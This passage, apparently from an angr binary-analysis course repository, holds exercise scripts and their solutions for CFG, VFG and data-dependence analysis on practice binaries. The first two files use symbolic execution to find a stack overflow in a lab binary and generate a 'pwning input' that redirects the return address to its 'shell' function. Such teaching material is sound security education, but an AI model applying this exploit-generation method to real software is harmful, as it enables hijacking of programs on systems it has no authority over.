36 | # check if the state is satisfiable with these conditions, and return True if it is 37 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 38 | 39 | # This time, the initialization is a bit different. The application takes a commandline argument, so we must: 40 | # first, create a symbolic bitvector representing the argument. 41 | # We're interested in the last few bytes (the part that will actually overflow the return address), so make it a 42 | # concatination of 60 concrete bytes and 60 symbolic bytes. 43 | arg = claripy.BVV(b"A"*60).concat(claripy.BVS("arg", 240)) 44 | # next, create a state with this argument 45 | state = project.factory.entry_state(args=['overflow3', arg]) 46 | # now, create the simulation manager with that state as the initial state 47 | simgr = project.factory.simulation_manager(state) 48 | 49 | # initiate a "vuln" stash 50 | simgr.stashes['vuln'] = [ ] 51 | 52 | # Since we have the address of main in the knowledgebase, let's make a less janky initialization procedure. 53 | print("Initializing initial state...") 54 | while simgr.active[0].addr != project.kb.functions['main'].addr: 55 | simgr.step() 56 | 57 | # Now that we are all set up, let's loop until a vulnerable path has been found 58 | print("Searching for the vulnerability!") 59 | while not simgr.vuln: 60 | # step the simulation manager 61 | simgr.step() 62 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 63 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 64 | 65 | # Now the fun part starts! Let's add a constraint that sets the overflowed return address to the "shell" function. 66 | # First, grab the stored return address in the vuln state 67 | print("Constraining saved return address!") 68 | vuln_state = simgr.vuln[0] 69 | overwritten_eip = vuln_state.memory.load(vuln_state.regs.ebp + 4, 4, endness="Iend_LE") 70 | print("Overwritten EIP:", overwritten_eip) 71 | # Now, let's add a constraint to redirect that return address to the shell function 72 | addr_of_shell = project.kb.functions['shell'].addr 73 | vuln_state.add_constraints(overwritten_eip == addr_of_shell) 74 | 75 | # and now let's explore the vuln stash until we reach the shell 76 | print("Exploring to 'shell' function.") 77 | simgr.explore(stash='vuln', find=addr_of_shell) 78 | 79 | # now synthesize our pwning input! 80 | pwning_input = simgr.found[0].solver.eval(arg, cast_to=bytes) 81 | open("pwning_input", "wb").write(pwning_input.split(b'\0')[0]) # since it's a string arg, we only care up to the first null byte 82 | print("You can crash the program by doing:") 83 | print('# ./overflow3-28d8a442fb232c0c "$(cat pwning_input)"') 84 | -------------------------------------------------------------------------------- /exercises/slide_140/overflow3.solution.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # load the binary, but the original one this time! 5 | project = angr.Project("overflow3-28d8a442fb232c0c", load_options={ 'auto_load_libs': False }) 6 | 7 | # This time, we will need access to symbols (to figure out where the "shell" function is, for example). 8 | # Let's generate a CFG to fill in the knowledgebase. 9 | cfg = project.analyses.CFG() 10 | 11 | # This binary has some functionality that gives angr trouble. Specifically, the way it uses printf (printing pointers) 12 | # in both main() and dump_stack() is not properly handled by angr's printf SimProcedure. If you try to run this 13 | # code without compensating for that, it will hang (because it will error on all paths and keep looping while looking 14 | # for a vuln path). So, to compensate for that, we override printf with a simprocedure that does nothing. 15 | class DoNothing(angr.SimProcedure): 16 | def run(self): 17 | return 18 | project.hook(project.kb.functions['printf'].addr, DoNothing()) 19 | project.hook(project.kb.functions['dump_stack'].addr, DoNothing()) 20 | 21 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 22 | # 23 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 24 | # 2. The return address is unchanged and pointing inside the program (normal case) 25 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 26 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 27 | def path_vuln_filter(state): 28 | # get the saved instruction pointer from the stack 29 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 30 | print("Checking saved EIP:", saved_eip) 31 | 32 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 33 | if project.is_hooked(state.solver.eval(saved_eip)): 34 | return False 35 | 36 | # next, create constraints representing an unsafe condition. In this case, 37 | # let's check if the return address can point *outside* of the program. 38 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 39 | 40 | # check if the state is satisfiable with these conditions, and return True if it is 41 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 42 | 43 | # This time, the initialization is a bit different. The application takes a commandline argument, so we must: 44 | # first, create a symbolic bitvector representing the argument. 45 | # We're interested in the last few bytes (the part that will actually overflow the return address), so make it a 46 | # concatination of 60 concrete bytes and 60 symbolic bytes. 47 | arg = claripy.BVV(b"A"*60).concat(claripy.BVS("arg", 240)) 48 | # next, create a state with this argument 49 | state = project.factory.entry_state(args=['overflow3', arg]) 50 | # now, create the simulation manager with that state as the initial state 51 | simgr = project.factory.simulation_manager(state) 52 | 53 | # initiate a "vuln" stash 54 | simgr.stashes['vuln'] = [ ] 55 | 56 | # Since we have the address of main in the knowledgebase, let's make a less janky initialization procedure. 57 | print("Initializing initial state...") 58 | while simgr.active[0].addr != project.kb.functions['main'].addr: 59 | simgr.step() 60 | 61 | # Now that we are all set up, let's loop until a vulnerable path has been found 62 | print("Searching for the vulnerability!") 63 | while not simgr.vuln: 64 | # step the simulation manager 65 | simgr.step() 66 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 67 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 68 | 69 | # Now the fun part starts! Let's add a constraint that sets the overflowed return address to the "shell" function. 70 | # First, grab the stored return address in the vuln state 71 | print("Constraining saved return address!") 72 | vuln_state = simgr.vuln[0] 73 | overwritten_eip = vuln_state.memory.load(vuln_state.regs.ebp + 4, 4, endness="Iend_LE") 74 | print("Overwritten EIP:", overwritten_eip) 75 | # Now, let's add a constraint to redirect that return address to the shell function 76 | addr_of_shell = project.kb.functions['shell'].addr 77 | vuln_state.add_constraints(overwritten_eip == addr_of_shell) 78 | 79 | # and now let's explore the vuln stash until we reach the shell 80 | print("Exploring to 'shell' function.") 81 | simgr.explore(stash='vuln', find=addr_of_shell) 82 | 83 | # now synthesize our pwning input! 84 | pwning_input = simgr.found[0].solver.eval(arg, cast_to=bytes) 85 | open("pwning_input", "wb").write(pwning_input.split(b'\0')[0]) # since it's a string arg, we only care up to the first null byte 86 | print("You can crash the program by doing:") 87 | print('# ./overflow3-28d8a442fb232c0c "$(cat pwning_input)"') 88 | -------------------------------------------------------------------------------- /exercises/slide_65-69/0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pprint import pprint 4 | 5 | import angr 6 | 7 | project = angr.Project("fauxware") 8 | 9 | # WRITEME: generate a CFG 10 | cfg = None 11 | 12 | # WRITEME: print out all nodes 13 | all_nodes = None 14 | pprint(all_nodes) 15 | 16 | # WRITEME: get any CFG node whose address is 0x80485fc 17 | # 0x80485fc is the address of main() 18 | node = None 19 | print("Node 0x80485fc: %s" % node) 20 | 21 | # WRITEME: get all CFG node whose address is 0x80485fc 22 | node_list = None 23 | print("All node whose address is 0x80485fc: %s" % node_list) 24 | 25 | # WRITEME: get a list of successors of that node, including the fakeret target, using methods from the CFG 26 | successors = None 27 | print("All successors to node %s are:" % node) 28 | pprint(successors) 29 | 30 | # WRITEME: get a list of successors of that node, using the `successor` property from the CFG node itself 31 | # this time it does not include the fakeret target 32 | successors = None 33 | print("All successors to node %s are:" % node) 34 | pprint(successors) 35 | 36 | -------------------------------------------------------------------------------- /exercises/slide_65-69/0.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pprint import pprint 4 | 5 | import angr 6 | 7 | project = angr.Project("fauxware") 8 | 9 | # WRITEME: generate a CFG 10 | cfg = project.analyses.CFG() 11 | 12 | # WRITEME: print out all nodes 13 | all_nodes = cfg.nodes() 14 | pprint(all_nodes) 15 | 16 | # WRITEME: get any CFG node whose address is 0x80485fc 17 | # 0x80485fc is the address of main() 18 | node = cfg.get_any_node(0x80485fc) 19 | print("Node 0x80485fc: %s" % node) 20 | 21 | # WRITEME: get all CFG node whose address is 0x80485fc 22 | node_list = cfg.get_all_nodes(0x80485fc) 23 | print("All node whose address is 0x80485fc: %s" % node_list) 24 | 25 | # WRITEME: get a list of successors of that node, including the fakeret target, using methods from the CFG 26 | successors = cfg.get_successors(node, excluding_fakeret=False) 27 | print("All successors to node %s are:" % node) 28 | pprint(successors) 29 | 30 | # WRITEME: get a list of successors of that node, using the `successor` property from the CFG node itself 31 | # this time it does not include the fakeret target 32 | successors = node.successors 33 | print("All successors to node %s are:" % node) 34 | pprint(successors) 35 | 36 | -------------------------------------------------------------------------------- /exercises/slide_65-69/1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pprint import pprint 4 | 5 | import angr 6 | 7 | p = angr.Project("cfg_2") 8 | 9 | # WRITEME: generate a CFG that collects data references during CFG recovery 10 | # Note that by default it resolves indirect jumps (like jump tables) 11 | cfg = None 12 | 13 | # WRITEME: print out the recovered indirect jumps 14 | indirect_jumps = None 15 | print("Here are all indirect jumps from the binary:") 16 | pprint(indirect_jumps) 17 | 18 | # WRITEME: print out the recovered list of memory data 19 | memory_data = None 20 | print("Here are all recovered memory data from the binary:") 21 | pprint(memory_data) 22 | 23 | # WRITEME: print out the reversed map between instruction addresses to memory data 24 | ins_to_memdata = None 25 | print("Here is a mapping between instruction address and memory data:") 26 | pprint(ins_to_memdata) 27 | 28 | -------------------------------------------------------------------------------- /exercises/slide_65-69/1.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pprint import pprint 4 | 5 | import angr 6 | 7 | p = angr.Project("cfg_2") 8 | 9 | # WRITEME: generate a CFG that collects data references during CFG recovery 10 | # Note that by default it resolves indirect jumps (like jump tables) 11 | cfg = p.analyses.CFG(collect_data_references=True) 12 | 13 | # WRITEME: print out the recovered indirect jumps 14 | indirect_jumps = cfg.indirect_jumps 15 | print("Here are all indirect jumps from the binary:") 16 | pprint(indirect_jumps) 17 | 18 | # WRITEME: print out the recovered list of memory data 19 | memory_data = cfg.memory_data 20 | print("Here are all recovered memory data from the binary:") 21 | pprint(memory_data) 22 | 23 | # WRITEME: print out the reversed map between instruction addresses to memory data 24 | ins_to_memdata = cfg._insn_addr_to_memory_data 25 | print("Here is a mapping between instruction address and memory data:") 26 | pprint(ins_to_memdata) 27 | 28 | -------------------------------------------------------------------------------- /exercises/slide_65-69/cfg_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_65-69/cfg_2 -------------------------------------------------------------------------------- /exercises/slide_65-69/fauxware: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_65-69/fauxware -------------------------------------------------------------------------------- /exercises/slide_70-75/0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | Generate an accurate CFG on the fauxware binary, and take a look at its program states. 5 | ''' 6 | 7 | import angr 8 | 9 | # load the binary 10 | project = angr.Project("fauxware") 11 | 12 | # WRITEME: generate an accurate CFG 13 | # since we want to see its program states generated during CFG recovery, we should specify 'keep_state=True' 14 | cfg = None 15 | 16 | # Alright, we got it! 17 | if cfg is not None: 18 | all_nodes = cfg.nodes() 19 | 20 | for n in all_nodes: 21 | print("%s:\t\tstate %s, eax %s, ecx %s" % (n, n.input_state, n.input_state.regs.eax, n.input_state.regs.ecx)) 22 | 23 | -------------------------------------------------------------------------------- /exercises/slide_70-75/0.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | Generate an accurate CFG on the fauxware binary, and take a look at its program states. 5 | ''' 6 | 7 | import angr 8 | 9 | # load the binary 10 | project = angr.Project("fauxware") 11 | 12 | # WRITEME: generate an accurate CFG 13 | # since we want to see its program states generated during CFG recovery, we should specify 'keep_state=True' 14 | cfg = project.analyses.CFGEmulated(keep_state=True) 15 | 16 | # Alright, we got it! 17 | if cfg is not None: 18 | all_nodes = cfg.nodes() 19 | 20 | for n in all_nodes: 21 | print("%s:\t\tstate %s, eax %s, ecx %s" % (n, n.input_state, n.input_state.regs.eax, n.input_state.regs.ecx)) 22 | 23 | -------------------------------------------------------------------------------- /exercises/slide_70-75/1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | Demonstrate how to normalize a CFG 5 | ''' 6 | 7 | from pprint import pprint 8 | 9 | import angr 10 | 11 | # load the binary 12 | project = angr.Project('fauxware') 13 | 14 | # WRITEME: to generate a normalized CFG, simply specify `normalize=True` during initialization 15 | cfg_norm = None 16 | 17 | # this is a normal CFG 18 | cfg = project.analyses.CFG() 19 | 20 | # There should be some different nodes 21 | if cfg_norm is not None: 22 | nodes_norm = cfg_norm.nodes() 23 | nodes = cfg.nodes() 24 | 25 | nodes_only_in_normalized = set() 26 | 27 | for n in nodes_norm: 28 | if any(nn for nn in nodes if nn.addr == n.addr and nn.size == n.size): 29 | continue 30 | nodes_only_in_normalized.add(n) 31 | 32 | assert nodes_only_in_normalized 33 | pprint(nodes_only_in_normalized) 34 | 35 | -------------------------------------------------------------------------------- /exercises/slide_70-75/1.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | Demonstrate how to normalize a CFG 5 | ''' 6 | 7 | from pprint import pprint 8 | 9 | import angr 10 | 11 | # load the binary 12 | project = angr.Project('fauxware') 13 | 14 | # WRITEME: to generate a normalized CFG, simply specify `normalize=True` during initialization 15 | cfg_norm = project.analyses.CFG(normalize=True) 16 | 17 | # this is a normal CFG 18 | cfg = project.analyses.CFG() 19 | 20 | # There should be some different nodes 21 | if cfg_norm is not None: 22 | nodes_norm = cfg_norm.nodes() 23 | nodes = cfg.nodes() 24 | 25 | nodes_only_in_normalized = set() 26 | 27 | for n in nodes_norm: 28 | if any(nn for nn in nodes if nn.addr == n.addr and nn.size == n.size): 29 | continue 30 | nodes_only_in_normalized.add(n) 31 | 32 | assert nodes_only_in_normalized 33 | pprint(nodes_only_in_normalized) 34 | 35 | -------------------------------------------------------------------------------- /exercises/slide_70-75/fauxware: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_70-75/fauxware -------------------------------------------------------------------------------- /exercises/slide_86-89/0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | We'd like to understand the stack layout of the main function by performing generating a VFG on it. 5 | ''' 6 | 7 | from pprint import pprint 8 | from collections import defaultdict 9 | 10 | import angr 11 | 12 | 13 | # create the project 14 | project = angr.Project("fauxware") 15 | 16 | # WRITEME: generate a CFG first so we have access to all functions 17 | cfg = None 18 | 19 | # WRITEME: get the address of the main function 20 | main_func = None 21 | 22 | # WRITEME: run VFG on it 23 | # Here is the suggested parameter setup 24 | # context_sensitivity_level: 3 25 | # interfunction_level: 3 26 | vfg = None 27 | print("VFG analysis is over. We have some nodes now:") 28 | if vfg is not None: 29 | pprint(vfg.graph.nodes()) 30 | 31 | # WRITEME: get the input state to the very last basic block 32 | # the very last basic block in the main function is 0x80486e8 33 | # it should have captured all previous effects 34 | last_node = None 35 | last_state = None 36 | 37 | # WRITEME: Get the memory object. 38 | # the memory used in static analysis is an abstract memory model (implemented in SimAbstractMemory) 39 | # it's basically a mapping from region names (like "stack_0x400000") to a symbolic memory instance (SimSymbolicMemory) 40 | memory = None 41 | print("Program memory of the very last state: %s" % memory) 42 | 43 | # WRITEME: Let's take a look at the regions 44 | regions = None 45 | print("All memory regions on the stack:") 46 | pprint(regions) 47 | 48 | if regions is not None: 49 | # WRITEME: Now we can have a look at the abstract locations (alocs) of the main function's stack region 50 | main_func_region = None 51 | alocs = None 52 | 53 | print("Abstract locations of the main procedure are:") 54 | pprint(alocs) 55 | 56 | # WRITEME: Derive stack layout information from abstract locations 57 | # you may did a little bit into the source code SimuVEX and claripy to see what members an aloc has. 58 | # related code are angr/storage/memory_mixins/regioned_memory and the vsa subpackage in claripy. 59 | # by default, region.alocs is a dict mapping (block address, statement ID) to a list of memory targets. 60 | # what we want is a list of stack offset and size of the corresponding memory access 61 | # let's do it here 62 | 63 | stack_layout = defaultdict(set) # map offset to size 64 | 65 | # WRITEME: traverse alocs 66 | 67 | print("The stack layout looks like:") 68 | for offset in sorted(stack_layout.keys(), reverse=True): 69 | print("%#x %s" % (offset, stack_layout[offset])) 70 | 71 | -------------------------------------------------------------------------------- /exercises/slide_86-89/0.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | We'd like to understand the stack layout of the main function by performing generating a VFG on it. 5 | ''' 6 | 7 | from pprint import pprint 8 | from collections import defaultdict 9 | 10 | import angr 11 | 12 | 13 | # create the project 14 | project = angr.Project("fauxware") 15 | 16 | # WRITEME: generate a CFG first so we have access to all functions 17 | cfg = project.analyses.CFG() 18 | 19 | # WRITEME: get the address of the main function 20 | main_func = project.kb.functions.function(name='main') 21 | 22 | # WRITEME: run VFG on it 23 | # Here is the suggested parameter setup 24 | # context_sensitivity_level: 3 25 | # interfunction_level: 3 26 | vfg = project.analyses.VFG(start=main_func.addr, 27 | context_sensitivity_level=3, 28 | interfunction_level=3 29 | ) 30 | print("VFG analysis is over. We have some nodes now:") 31 | pprint(vfg.graph.nodes()) 32 | 33 | # WRITEME: get the input state to the very last basic block 34 | # the very last basic block in the main function is 0x80486e8 35 | # it should have captured all previous effects 36 | last_node = vfg.get_any_node(0x80486e8) 37 | last_state = last_node.state 38 | 39 | # WRITEME: Get the memory object. 40 | # the memory used in static analysis is an abstract memory model (implemented in SimAbstractMemory) 41 | # it's basically a mapping from region names (like "stack_0x400000") to a symbolic memory instance (SimSymbolicMemory) 42 | memory = last_state.memory 43 | print("Program memory of the very last state: %s" % memory) 44 | 45 | # WRITEME: Let's take a look at the regions 46 | regions = memory.regions 47 | print("All memory regions on the stack:") 48 | pprint(regions) 49 | 50 | if regions is not None: 51 | # WRITEME: Now we can have a look at the abstract locations (alocs) of the main function's stack region 52 | main_func_region = regions.get('stack_%#x' % main_func.addr) 53 | alocs = main_func_region.alocs 54 | 55 | print("Abstract locations of the main procedure are:") 56 | pprint(alocs) 57 | 58 | # WRITEME: Derive stack layout information from abstract locations 59 | # you may did a little bit into the source code SimuVEX and claripy to see what members an aloc has. 60 | # related code are angr/storage/memory_mixins/regioned_memory and the vsa subpackage in claripy. 61 | # by default, region.alocs is a dict mapping (block address, statement ID) to a list of memory targets. 62 | # what we want is a list of stack offset and size of the corresponding memory access 63 | # let's do it here 64 | 65 | stack_layout = defaultdict(set) # map offset to size 66 | for aloc in alocs.values(): 67 | for segment in aloc._segment_list: 68 | stack_layout[segment.offset].add(segment.size) 69 | 70 | print("The stack layout looks like:") 71 | for offset in sorted(stack_layout.keys(), reverse=True): 72 | print("%#x %s" % (offset, stack_layout[offset])) 73 | 74 | -------------------------------------------------------------------------------- /exercises/slide_86-89/fauxware: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_86-89/fauxware -------------------------------------------------------------------------------- /exercises/slide_91-94/0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | We'd like to figure out the dependency between registers and memory variables in function authenticate 5 | ''' 6 | 7 | from pprint import pprint 8 | 9 | import angr 10 | 11 | # load the project 12 | 13 | p = angr.Project("fauxware") 14 | 15 | # WRITEME: get the address of function `authenticate` 16 | cfg_fast = None 17 | main_func = None 18 | auth_func = None 19 | 20 | # Note: we create a new knowledge base to use with CFGAccurate and DDG analysis 21 | # we don't want to mess with the default (project-level) knowledge base 22 | # this is just a good habit :-) 23 | kb = angr.knowledge_base.KnowledgeBase(p, p.loader.main_bin) 24 | 25 | # WRITEME: generate an accurate CFG 26 | # Recommended parameters: 27 | # starts=(main_func,addr,) 28 | # context_sensitivity_level=2 29 | # keep_state=True # states must be kept and stored to allow dependence analysis later 30 | cfg = None 31 | 32 | # WRITEME: initialize DDG analysis with the accurate CFG and the new knowledge base, and specify the `start` 33 | ddg = None 34 | 35 | if ddg is not None: 36 | # YES it's done! Let's see what's there 37 | print("=== Statement Dependence Graph ===") 38 | print("Edges:") 39 | edges = ddg.graph.edges(data=True) 40 | pprint(edges, width=120) 41 | 42 | print("=== Data Dependence Graph ===") 43 | print("Edges:") 44 | edges = ddg.data_graph.edges(data=True) 45 | pprint(edges, width=120) 46 | 47 | print("=== Simplified Data Dependence Graph ===") 48 | print("Edges:") 49 | edges = ddg.simplified_data_graph.edges(data=True) 50 | pprint(edges, width=120) 51 | 52 | -------------------------------------------------------------------------------- /exercises/slide_91-94/0.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | We'd like to figure out the dependency between registers and memory variables in function authenticate 5 | ''' 6 | 7 | from pprint import pprint 8 | 9 | import angr 10 | 11 | # load the project 12 | 13 | p = angr.Project("fauxware") 14 | 15 | # WRITEME: get the address of function `authenticate` 16 | cfg_fast = p.analyses.CFG() 17 | main_func = p.kb.functions.function(name='main') 18 | auth_func = p.kb.functions.function(name='authenticate') 19 | 20 | # Note: we create a new knowledge base to use with CFGEmulated and DDG analysis 21 | # we don't want to mess with the default (project-level) knowledge base 22 | # this is just a good habit :-) 23 | kb = angr.knowledge_base.KnowledgeBase(p, p.loader.main_object) 24 | 25 | # WRITEME: generate an accurate CFG 26 | # Recommended parameters: 27 | # starts=(main_func,addr,) 28 | # context_sensitivity_level=2 29 | # keep_state=True # states must be kept and stored to allow dependence analysis later 30 | cfg = p.analyses.CFGEmulated(starts=(main_func.addr,), 31 | context_sensitivity_level=2, 32 | keep_state=True 33 | ) 34 | 35 | # WRITEME: initialize DDG analysis with the accurate CFG and the new knowledge base 36 | ddg = p.analyses.DDG(cfg=cfg, start=auth_func.addr, kb=kb) 37 | 38 | if ddg is not None: 39 | # YES it's done! Let's see what's there 40 | print("=== Statement Dependence Graph ===") 41 | print("Edges:") 42 | edges = ddg.graph.edges(data=True) 43 | pprint(edges, width=120) 44 | 45 | print("=== Data Dependence Graph ===") 46 | print("Edges:") 47 | edges = ddg.data_graph.edges(data=True) 48 | pprint(edges, width=120) 49 | 50 | print("=== Simplified Data Dependence Graph ===") 51 | print("Edges:") 52 | edges = ddg.simplified_data_graph.edges(data=True) 53 | pprint(edges, width=120) 54 | 55 | -------------------------------------------------------------------------------- /exercises/slide_91-94/fauxware: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_91-94/fauxware --------------------------------------------------------------------------------